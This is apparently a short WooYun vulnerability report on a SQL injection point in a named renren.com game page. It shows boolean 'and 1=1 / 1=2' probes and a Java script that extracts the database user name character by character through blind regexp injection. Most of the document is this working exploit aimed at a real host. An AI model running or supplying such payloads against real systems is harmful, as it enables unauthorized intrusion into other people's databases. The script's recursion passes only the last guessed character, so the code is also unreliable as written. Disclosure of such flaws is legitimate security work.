WooYun.org

注入点：
http://ku.games.renren.com/?proid=14

http://ku.games.renren.com/?proid=14 and 1=1  #响应数据
http://ku.games.renren.com/?proid=14 and 1=2  #数据为空

public class GetUser {
	static int no=0;
	public static void main(String[] args) {
		test(null);
	}
	public static void test(String key){
		if(key==null){
			key="";
		}
		String url = "http://ku.games.renren.com/?proid=14";
		String[] payloads = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
				"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
				"w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7",
				"8", "9", "@", "_", ".","~"};
		if(no==0){
			no=WebUtils.getHtmlContextAll(url+URLEncoder.encode(" AND 1=1")).length();
		}
			for (int j = 0; j < payloads.length; j++) {
				String testpayload=" and (select+user()) regexp '^"+key+payloads[j]+"'";
				String request=url+URLEncoder.encode(testpayload);
				try {
					String html = WebUtils.getHtmlContextAll(request);
				    System.out.print("..");
					 if(html.length() >= no) {
						 System.err.println(key+payloads[j]);
						 test(payloads[j]);
						 break;
				    }
				} catch (Exception e) {
				}
			}
		}
}